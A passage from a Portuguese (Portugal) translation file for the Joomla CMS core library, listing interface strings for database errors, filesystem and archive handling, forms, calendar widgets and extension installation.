indique um nome de utilizador válido. Sem espaços, pelo menos %d caracteres e SEM caracteres especiais tal como: < > \\ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Por favor, indique um email válido." JLIB_DATABASE_ERROR_VIEWLEVEL="Nivel de visualização deve ter um nome" JLIB_DATABASE_FUNCTION_NOERROR="Função BD não relata erros" JLIB_DATABASE_QUERY_FAILED="Consulta à base de dados falhou (erro # %s): %s" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Não foi possível carregar a classe do documento" JLIB_ENVIRONMENT_SESSION_EXPIRED="A sua sessão expirou, por favor volte a autenticar-se" JLIB_ENVIRONMENT_SESSION_INVALID="Cookie de sessão inválida. Por favor, verifique se tem os Cookies ativados no seu navegador web." JLIB_ERROR_COMPONENTS_ACL_CONFIGURATION_FILE_MISSING_OR_IMPROPERLY_STRUCTURED="A configuração da LCA (Lista de controlo de acesso) do componente %s não existe ou não está devidamente estruturada." JLIB_ERROR_INFINITE_LOOP="Repetição infinita detetado em JError" JLIB_EVENT_ERROR_DISPATCHER="JEventDispatcher: :registar: Manipulador de eventos não reconhecido. Manipulador: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 não suportado" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Não foi possível ler o ficheiro (bz2)." JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Não foi possível escrever o ficheiro (bz2)." JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Não é possível escrever o ficheiro (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib não suportado" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Não foi possível ler o ficheiro (gz)." JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Não foi possível escrever o ficheiro (gz)." JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Não é possível escrever o ficheiro (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Não é possível descompactar dados" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Não foi possível ler o ficheiro (tar)." JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Não é possível descompactar dados" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Não é possível criar o destino" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Não é possível escrever a entrada" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib não é suportado" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Não é possível ler o ficheiro (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Falha a obter informações do ZIP" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Não é possível criar o destino" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Não é possível gravar a entrada" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Não é possível ler a entrada" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Não foi possível abrir o ficheiro." JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Dados ZIP inválidos" JLIB_FILESYSTEM_STREAM_FAILED="Falha ao registar o fluxo da sequência de caracteres" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Tipo de ficheiro desconhecido" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Não foi possível carregar o ficheiro" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copy: Não é possível encontrar ou ler o ficheiro: %s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copiar(%1$s, %2$s): %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Falha na cópia" JLIB_FILESYSTEM_ERROR_COPY_FAILED_ERR01="Falha ao copiar: %1$s para %2$s" JLIB_FILESYSTEM_DELETE_FAILED="Falha a eliminar %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Não foi possível localizar o ficheiro de origem" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :mover: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Falha ao renomear" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile:: ler. Não foi possível abrir o ficheiro: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile:: escrever(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile:: carregar: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Aviso: falha ao alterar as permissões do ficheiro!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Aviso: falha ao mover o ficheiro!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR03="Aviso: o ficheiro %s não foi carregado por motivos de segurança!" JLIB_FILESYSTEM_ERROR_WARNFS_ERR04="Alerta - Falha ao mover o ficheiro: %1$s para %2$s" JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER="Não foi possível localizar a pasta de origem." JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS="A pasta já existe" JLIB_FILESYSTEM_ERROR_FOLDER_CREATE="Não é possível criar a pasta de destino" JLIB_FILESYSTEM_ERROR_FOLDER_OPEN="Não é possível abrir a pasta de origem" JLIB_FILESYSTEM_ERROR_FOLDER_LOOP="Loop infinito detetado" JLIB_FILESYSTEM_ERROR_FOLDER_PATH="Caminho não está nos caminhos open_basedir" JLIB_FILESYSTEM_ERROR_COULD_NOT_CREATE_DIRECTORY="Não foi possível criar a pasta." JLIB_FILESYSTEM_ERROR_DELETE_BASE_DIRECTORY="Não pode eliminar uma pasta base." JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER="JFolder:: eliminar: caminho não é uma pasta. Caminho: %s" JLIB_FILESYSTEM_ERROR_FOLDER_DELETE="JFolder - Eliminar. Não foi possível eliminar a pasta. Caminho: %s" JLIB_FILESYSTEM_ERROR_FOLDER_RENAME="Falha ao renomear: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FILES="JFolder: :ficheiros: caminho não é uma pasta. Caminho: %s" JLIB_FILESYSTEM_ERROR_PATH_IS_NOT_A_FOLDER_FOLDER="JFolder: :pasta: caminho não é uma pasta. Caminho: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_SIZE="Falha ao obter o tamanho do ficheiro. Isto pode não funcionar em todos os fluxos!" JLIB_FILESYSTEM_ERROR_STREAMS_FILE_NOT_OPEN="Ficheiro não aberto" JLIB_FILESYSTEM_ERROR_STREAMS_FILENAME="Nome do ficheiro não definido" JLIB_FILESYSTEM_ERROR_NO_DATA_WRITTEN="Alerta: nenhum dado gravado." JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_WRITER="Falha ao abrir o editor: %s" JLIB_FILESYSTEM_ERROR_STREAMS_FAILED_TO_OPEN_READER="Falha ao abrir o leitor: %s" JLIB_FILESYSTEM_ERROR_STREAMS_NOT_UPLOADED_FILE="Não é um ficheiro carregado!" JLIB_FILTER_PARAMS_ALNUM="Alfanumérico" JLIB_FILTER_PARAMS_FLOAT="Flutuação" JLIB_FILTER_PARAMS_INTEGER="Número inteiro" JLIB_FILTER_PARAMS_RAW="Em bruto" JLIB_FILTER_PARAMS_SAFEHTML="HTML seguro" JLIB_FILTER_PARAMS_TEL="Telefone" JLIB_FILTER_PARAMS_TEXT="Texto" JLIB_FORM_BUTTON_CLEAR="Limpar" JLIB_FORM_BUTTON_SELECT="Escolher" JLIB_FORM_CHANGE_IMAGE="Alterar imagem" JLIB_FORM_CHANGE_IMAGE_BUTTON="Alterar botão de imagem" JLIB_FORM_CHANGE_USER="Escolher utilizador" JLIB_FORM_ERROR_FIELDS_CATEGORY_ERROR_EXTENSION_EMPTY="Atributo de extensão está vazio no campo categoria" JLIB_FORM_ERROR_FIELDS_GROUPEDLIST_ELEMENT_NAME="Tipo de elemento desconhecido: %s" JLIB_FORM_ERROR_NO_DATA="Sem dados" JLIB_FORM_ERROR_VALIDATE_FIELD="Campo XML inválido" JLIB_FORM_ERROR_XML_FILE_DID_NOT_LOAD="Ficheiro XML não foi carregado" JLIB_FORM_FIELD_INVALID="Campo inválido: " JLIB_FORM_INPUTMODE="latino" JLIB_FORM_INVALID_FORM_OBJECT="Objeto de formulário inválido: :%s" JLIB_FORM_INVALID_FORM_RULE="Regra de formulário inválida: :%s" JLIB_FORM_MEDIA_PREVIEW_ALT="Imagem selecionada" JLIB_FORM_MEDIA_PREVIEW_EMPTY="Nenhuma imagem selecionada." JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE="Imagem selecionada" JLIB_FORM_MEDIA_PREVIEW_TIP_TITLE="Pré-visualizar" JLIB_FORM_SELECT_USER="Escolher utilizador" JLIB_FORM_VALIDATE_FIELD_INVALID="Campo inválido: %s" JLIB_FORM_VALIDATE_FIELD_REQUIRED="Campo obrigatório: %s" JLIB_FORM_VALIDATE_FIELD_RULE_MISSING="Regra de validação em falta: %s" JLIB_FORM_VALIDATE_FIELD_URL_SCHEMA_MISSING="URL inválido: o esquema de URL está em falta no %1$s. Por favor, adicione uma das alternativas no início: %2$s." JLIB_FORM_VALUE_CACHE_APC="Cache PHP alternativa" JLIB_FORM_VALUE_CACHE_APCU="Cache de utilizador APC" JLIB_FORM_VALUE_CACHE_CACHELITE="Cache_Lite" JLIB_FORM_VALUE_CACHE_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_CACHE_FILE="Ficheiro" JLIB_FORM_VALUE_CACHE_MEMCACHE="Memcache" JLIB_FORM_VALUE_CACHE_MEMCACHED="Memcached (Experimental)" JLIB_FORM_VALUE_CACHE_REDIS="Redis" JLIB_FORM_VALUE_CACHE_WINCACHE="Cache Windows" JLIB_FORM_VALUE_CACHE_XCACHE="XCache" JLIB_FORM_VALUE_SESSION_APC="Cache PHP alternativa" JLIB_FORM_VALUE_SESSION_DATABASE="Base de dados" JLIB_FORM_VALUE_SESSION_EACCELERATOR="eAccelerator" JLIB_FORM_VALUE_SESSION_MEMCACHE="Memcache" JLIB_FORM_VALUE_SESSION_MEMCACHED="Memcached (Experimental)" JLIB_FORM_VALUE_SESSION_NONE="PHP" JLIB_FORM_VALUE_SESSION_WINCACHE="Cache Windows" JLIB_FORM_VALUE_SESSION_XCACHE="XCache" JLIB_FORM_VALUE_TIMEZONE_UTC="Tempo Universal, Coordenado (UTC)" JLIB_FORM_VALUE_FROM_TEMPLATE="Do tema" JLIB_FORM_VALUE_INHERITED="Herdado" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_ACL="LCA" JLIB_HTML_ACCESS_MODIFY_DESC_CAPTION_TABLE="Tabela" JLIB_HTML_ACCESS_SUMMARY_DESC_CAPTION="Tabela resumo LCA" JLIB_HTML_ACCESS_SUMMARY_DESC="Abaixo é exibido uma visão geral das permissões deste artigo. Clique no separador para personalizar estas definições por ação." JLIB_HTML_ACCESS_SUMMARY="Sumário" JLIB_HTML_ADD_TO_ROOT="Adicionar à raiz" JLIB_HTML_ADD_TO_THIS_MENU="Adicionar a este menu" JLIB_HTML_BATCH_ACCESS_LABEL="Definir nível de acesso" JLIB_HTML_BATCH_ACCESS_LABEL_DESC="Não fazer a seleção irá manter os níveis de acesso original durante o processamento." JLIB_HTML_BATCH_COPY="Copiar" JLIB_HTML_BATCH_LANGUAGE_LABEL="Definir idioma" JLIB_HTML_BATCH_LANGUAGE_LABEL_DESC="Não escolher uma opção manterá o idioma original ao ser processado." JLIB_HTML_BATCH_LANGUAGE_NOCHANGE="- Manter idioma original -" JLIB_HTML_BATCH_MENU_LABEL="Para Mover ou Copiar a seleção por favor escolha a Categoria." JLIB_HTML_BATCH_MOVE="Mover" JLIB_HTML_BATCH_MOVE_QUESTION="Deseja mover os itens ou fazer uma cópia deles?" JLIB_HTML_BATCH_NO_CATEGORY="- Não mover ou copiar -" JLIB_HTML_BATCH_NOCHANGE="- Manter níveis de acesso originais -" JLIB_HTML_BATCH_TAG_LABEL="Adicionar Etiqueta" JLIB_HTML_BATCH_TAG_LABEL_DESC="Adicionar uma etiqueta aos itens selecionados." JLIB_HTML_BATCH_TAG_NOCHANGE="-Manter as etiquetas originais-" JLIB_HTML_BATCH_USER_LABEL="Definir Utilizador" JLIB_HTML_BATCH_USER_LABEL_DESC="Não fazer uma seleção manterá o utilizador original durante o processamento." JLIB_HTML_BATCH_USER_NOCHANGE="- Manter utilizador original -" JLIB_HTML_BATCH_USER_NOUSER="Nenhum utilizador" JLIB_HTML_BEHAVIOR_ABOUT_THE_CALENDAR="Sobre o calendário" JLIB_HTML_BEHAVIOR_CLOSE="Fechar" JLIB_HTML_BEHAVIOR_DATE_SELECTION="Escolher data:\n" JLIB_HTML_BEHAVIOR_DISPLAY_S_FIRST="Exibir %s primeiro" JLIB_HTML_BEHAVIOR_DRAG_TO_MOVE="Arrastar para mover" JLIB_HTML_BEHAVIOR_GO_TODAY="Dia atual" JLIB_HTML_BEHAVIOR_GREEN="Verde" JLIB_HTML_BEHAVIOR_HOLD_MOUSE="- Mantenha o botão do rato sobre um dos botões para escolha rápida." JLIB_HTML_BEHAVIOR_MONTH_SELECT="- Utilize os botões < > para mudar o mês\n" JLIB_HTML_BEHAVIOR_NEXT_MONTH_HOLD_FOR_MENU="Clicar para mover para o mês seguinte. Clicar e manter para obter uma lista dos meses." JLIB_HTML_BEHAVIOR_NEXT_YEAR_HOLD_FOR_MENU="Clicar para mover para o ano seguinte. Clicar e manter para obter uma lista dos anos." JLIB_HTML_BEHAVIOR_PREV_MONTH_HOLD_FOR_MENU="Clicar para mover para o mês anterior. Clicar e manter para obter uma lista dos meses." JLIB_HTML_BEHAVIOR_PREV_YEAR_HOLD_FOR_MENU="Clicar para mover para o ano anterior. Clicar e manter para obter uma lista dos anos." JLIB_HTML_BEHAVIOR_SELECT_DATE="Escolher uma data." JLIB_HTML_BEHAVIOR_SHIFT_CLICK_OR_DRAG_TO_CHANGE_VALUE="(Shift-) clique ou arraste para alterar o valor." JLIB_HTML_BEHAVIOR_TIME="Hora:" JLIB_HTML_BEHAVIOR_TODAY="Hoje" JLIB_HTML_BEHAVIOR_TT_DATE_FORMAT="%A, %e de %B" JLIB_HTML_BEHAVIOR_WK="Sem." JLIB_HTML_BEHAVIOR_YEAR_SELECT="- Utilize os botões « » para mudar o ano\n" JLIB_HTML_BUTTON_BASE_CLASS="Não foi possível carregar classe base de botão." JLIB_HTML_BUTTON_NO_LOAD="Não foi possível carregar botão %s (%s);" JLIB_HTML_BUTTON_NOT_DEFINED="Botão não definido para o tipo = %s" JLIB_HTML_CALENDAR="Calendário" JLIB_HTML_CHECKED_OUT="Por validar" JLIB_HTML_CHECKIN="Validar" JLIB_HTML_CLOAKING="Este endereço de email está protegido contra piratas. Necessita ativar o JavaScript para o visualizar." JLIB_HTML_DATE_RELATIVE_DAYS_0="%s dias atrás" JLIB_HTML_DATE_RELATIVE_DAYS_1="%s dia atrás" JLIB_HTML_DATE_RELATIVE_DAYS="%s dias atrás" JLIB_HTML_DATE_RELATIVE_HOURS_0="%s horas atrás" JLIB_HTML_DATE_RELATIVE_HOURS_1="%s hora atrás" JLIB_HTML_DATE_RELATIVE_HOURS="%s horas atrás" JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE="Menos de um minuto atrás" JLIB_HTML_DATE_RELATIVE_MINUTES_0="%s minutos atrás" JLIB_HTML_DATE_RELATIVE_MINUTES_1="%s minuto atrás" JLIB_HTML_DATE_RELATIVE_MINUTES="%s minutos atrás" JLIB_HTML_DATE_RELATIVE_WEEKS_0="%s semanas atrás" JLIB_HTML_DATE_RELATIVE_WEEKS_1="%s semana atrás" JLIB_HTML_DATE_RELATIVE_WEEKS="%s semanas atrás" JLIB_HTML_EDIT_MENU_ITEM="Editar item de menu" JLIB_HTML_EDIT_MENU_ITEM_ID="ID do item: %s" JLIB_HTML_EDIT_MODULE="Editar módulo" JLIB_HTML_EDIT_MODULE_IN_POSITION="Posição: %s" JLIB_HTML_EDITOR_CANNOT_LOAD="Não foi possível carregar o editor." JLIB_HTML_END="Fim" JLIB_HTML_ERROR_FUNCTION_NOT_SUPPORTED="Função não permitida." JLIB_HTML_ERROR_NOTFOUNDINFILE="%s: :%s não encontrada no ficheiro." JLIB_HTML_ERROR_NOTSUPPORTED_NOFILE="%s: :%s não permitida. Ficheiro não encontrado." JLIB_HTML_ERROR_NOTSUPPORTED="%s: :%s não permitida." JLIB_HTML_MOVE_DOWN="Mover para baixo" JLIB_HTML_MOVE_UP="Mover para cima" JLIB_HTML_NO_PARAMETERS_FOR_THIS_ITEM="Não existem parâmetros para este item" JLIB_HTML_NO_RECORDS_FOUND="Nenhum registo encontrado" JLIB_HTML_PAGE_CURRENT_OF_TOTAL="Pág. %s de %s" JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST="Por favor, marque primeiro uma escolha na lista" JLIB_HTML_PUBLISH_ITEM="Publicar item" JLIB_HTML_PUBLISHED_EXPIRED_ITEM="Publicado mas expirado" JLIB_HTML_PUBLISHED_FINISHED="Terminar: %s" JLIB_HTML_PUBLISHED_ITEM="Publicado e atual" JLIB_HTML_PUBLISHED_PENDING_ITEM="Publicado mas pendente" JLIB_HTML_PUBLISHED_START="Iniciar: %s" JLIB_HTML_RESULTS_OF="Resultados %s - %s de %s" JLIB_HTML_SAVE_ORDER="Guardar ordem" JLIB_HTML_SELECT_STATE="Escolher estatuto" JLIB_HTML_START="Início" JLIB_HTML_UNPUBLISH_ITEM="Despublicar item" JLIB_HTML_VIEW_ALL="Ver todos" JLIB_HTML_SETDEFAULT_ITEM="Definir padrão" JLIB_HTML_UNSETDEFAULT_ITEM="Retirar de padrão" JLIB_INSTALLER_ABORT="Abortar instalação de idioma: %s" JLIB_INSTALLER_ABORT_ALREADYINSTALLED="A extensão já estava instalada" JLIB_INSTALLER_ABORT_ALREADY_EXISTS="Extensão %1$s: extensão %2$s já existe." JLIB_INSTALLER_ABORT_COMP_BUILDADMINMENUS_FAILED="Erro ao criar menus de administração." JLIB_INSTALLER_ABORT_COMP_COPY_MANIFEST="Componente %1$s: não foi possível copiar o ficheiro PHP de manifesto." JLIB_INSTALLER_ABORT_COMP_COPY_SETUP="Componente %1$s: não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_COMP_FAIL_ADMIN_FILES="Componente %s: falha ao copiar ficheiros de administração." JLIB_INSTALLER_ABORT_COMP_FAIL_SITE_FILES="Componente %s: falha ao copiar ficheiros de sítio." JLIB_INSTALLER_ABORT_COMP_INSTALL_COPY_SETUP="Instalar componente: Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_COMP_INSTALL_CUSTOM_INSTALL_FAILURE="Atualização de componente - falha na rotina personalizada de instalação." JLIB_INSTALLER_ABORT_COMP_INSTALL_MANIFEST="Instalar componente: Não foi possível copiar o ficheiro de manifesto." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_INSTALL="Instalar componente: Não foi possível copiar o ficheiro de instalação." JLIB_INSTALLER_ABORT_COMP_INSTALL_PHP_UNINSTALL="Instalar componente: Não foi possível copiar o ficheiro de desinstalação." JLIB_INSTALLER_ABORT_COMP_INSTALL_ROLLBACK="Instalar componente: %s" JLIB_INSTALLER_ABORT_COMP_INSTALL_SQL_ERROR="Instalar componente: Erro SQL no ficheiro %s" JLIB_INSTALLER_ABORT_COMP_UPDATESITEMENUS_FAILED="Instalação de componente: falha ao atualizar os itens de menu." JLIB_INSTALLER_ABORT_COMP_UPDATE_ADMIN_ELEMENT="Atualização de componente - ficheiro XML não contém um elemento de administração." JLIB_INSTALLER_ABORT_COMP_UPDATE_COPY_SETUP="Atualizar componente: Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_COMP_UPDATE_MANIFEST="Atualizar componente: Não foi possível copiar o ficheiro de manifesto." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_INSTALL="Atualizar componente: Não foi possível copiar o ficheiro de instalação." JLIB_INSTALLER_ABORT_COMP_UPDATE_PHP_UNINSTALL="Atualizar componente: Não foi possível copiar o ficheiro de desinstalação." JLIB_INSTALLER_ABORT_COMP_UPDATE_ROLLBACK="Atualizar componente: %s" JLIB_INSTALLER_ABORT_COMP_UPDATE_SQL_ERROR="Atualizar componente: erro de SQL no ficheiro %s" JLIB_INSTALLER_ABORT_CREATE_DIRECTORY="Extensão %1$s: falha ao criar a pasta: %2$s" JLIB_INSTALLER_ABORT_DEBUG="Instalação interrompida inesperadamente:" JLIB_INSTALLER_ABORT_DETECTMANIFEST="Não é possível encontrar um ficheiro de manifesto" JLIB_INSTALLER_ABORT_DIRECTORY="Extensão %1$s: outra %2$s já está a usar a pasta com o nome: %3$s. Será que está a tentar instalar outra vez a mesma extensão?" JLIB_INSTALLER_ABORT_ERROR_DELETING_EXTENSIONS_RECORD="Não foi possível eliminar o registo da extensão da base de dados." JLIB_INSTALLER_ABORT_EXTENSIONNOTVALID="Extensão não é válida." JLIB_INSTALLER_ABORT_FILE_INSTALL_COPY_SETUP="Instalar ficheiros: Não foi possível copiar ficheiro de configuração." JLIB_INSTALLER_ABORT_FILE_INSTALL_CUSTOM_INSTALL_FAILURE="Instalação de ficheiros - falha na rotina de instalação personalizada." JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Instalação de ficheiros: falha ao procurar a pasta fonte: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Instalar ficheiros: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Ficheiros %1$s: erro de SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Instalar ficheiros: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Instalação de ficheiros: já existe outra extensão com o mesmo nome." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Atualização de ficheiros: Erro de SQL no ficheiro %s" JLIB_INSTALLER_ABORT_INSTALL_CUSTOM_INSTALL_FAILURE="Extensão %s: Falha na rotina de instalação personalizada." JLIB_INSTALLER_ABORT_LIB_COPY_FILES="Biblioteca %s: Não foi possível copiar ficheiros da fonte." JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Biblioteca, instalar: biblioteca já instalada" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Biblioteca, instalar: Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Instalação de biblioteca - falha ao criar pasta: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Biblioteca, instalar: Nunhum ficheiro de biblioteca especificado" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Biblioteca, instalar: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Falha ao carregar detalhes da extensão." JLIB_INSTALLER_ABORT_MANIFEST="Extensão %1$s: não foi possível copiar o ficheiro de manifesto PHP." JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Método não suportado por este tipo de extensão" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Método não suportado por este tipo de extensão: %s" JLIB_INSTALLER_ABORT_MOD_COPY_FILES="Módulo %s: Não foi possível copiar ficheiros da fonte" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Módulo - Instalação. Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Módulo %1$s: falha ao criar pasta: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Módulo, instalar: Falha na rotina personalizada de instalação" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Módulo %1$s: outro módulo já está a utilizar a pasta: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Módulo - Instalação. Não foi possível copiar o ficheiro de manifesto PHP." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Módulo %s: Nenhum módulo especificado" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Módulo %1$s: erro de SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Módulo %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Módulo - Desinstalação. Tipo de cliente desconhecido [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Módulo %1$s: tipo de cliente desconhecido [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="Caminho de instalação não existe" JLIB_INSTALLER_ABORT_NOUPDATEPATH="Não existe esse caminho de atualização." JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Pacote - Instalação. Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Pacote - Instalação. Falha na criação da pasta: %s" JLIB_INSTALLER_ABORT_PACKAGE_INSTALL_CUSTOM_INSTALL_FAILURE="Instalação de pacote: falha na rotina de instalação personalizada." JLIB_INSTALLER_ABORT_PACKAGE_INSTALL_MANIFEST="Falha na instalação: Não foi possível copiar o ficheiro de manifesto PHP" JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Pacote %1$s: ocorreu um erro ao instalar esta extensão: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Pacote %s: não existem ficheiros para instalar!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Pacote %s: nenhum pacote especificado" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Pacote - Instalação: %s" JLIB_INSTALLER_ABORT_PLG_COPY_FILES="Plugin %s: Não foi possível copiar ficheiros da fonte" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Plugin %1$s: Plugin %2$s já existe" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Plugin %s: não foi possível copiar o ficheiro de instalação." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Plugin %1$s: falha ao criar a pasta: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Plugin - Instalação. Falha na rotina personalizada de instalação." JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Plugin %1$s: outro plugin já está a utilizar a pasta: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: não foi possível copiar o ficheiro de manifesto PHP." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Plugin %s: nenhum plugin especificado" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Plugin %1$s: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1$s: erro de SQL no ficheiro %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Plugin - Desinstalação. Erro de SQL no ficheiro %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Falha ao atualizar manifesto de Cache: a extensão não está instalada." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Falha ao atualizar manifesto de Cache: a extensão não é válida." JLIB_INSTALLER_ABORT_ROLLBACK="Extensão %1$s: %2$s" JLIB_INSTALLER_ABORT_SQL_ERROR="Extensão %1$s: erro de processamento da consulta SQL: %2$s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Tema - Instalação. O tema já estava instalado." JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Instalar tema - Já existe um tema a usar a pasta: %s. Estará a tentar instalar de novo o mesmo tema?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_FILES="Tema - Instalação. Não foi possível copiar ficheiros da fonte %s." JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Tema - Instalação. Não foi possível copiar o ficheiro de configuração." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Tema - Instalação. Falha ao criar pasta: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Tema - Instalação: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Tema - Instalação. Tipo de cliente desconhecido [%s]" JLIB_INSTALLER_AVAILABLE_UPDATE_PHP_VERSION="Extensão %1$s - está disponível a versão %2$s , mas requer no mínimo a versão PHP %3$s enquanto que o seu sistema apenas tem a versão %4$s" JLIB_INSTALLER_AVAILABLE_UPDATE_DB_MINIMUM="A extensão %1$s está disponível na versão %2$s , mas a sua base de dados atual %3$s utiliza a versão versão %4$s e não é suportada. Por favor, entre em contacto com seu alojamento para atualizar a sua versão da base de dados, pelo menos para a versão %5$s." JLIB_INSTALLER_AVAILABLE_UPDATE_DB_TYPE="A extensão %1$s está disponível na versão %2$s , mas a sua base de dados atual %3$s deixou de ser suportada." JLIB_INSTALLER_PURGED_UPDATES="Atualizações purgadas" JLIB_INSTALLER_FAILED_TO_PURGE_UPDATES="Falha ao purgar atualizações." JLIB_INSTALLER_DEFAULT_STYLE="%s - padrão" JLIB_INSTALLER_DISCOVER="Descobrir" JLIB_INSTALLER_ERROR_CANNOT_UNINSTALL_CHILD_OF_PACKAGE="A extensão %s é parte de um pacote que não permite a desinstalação de extensões em separado." JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Componente - Instalação por descoberta. Falha ao armazenar 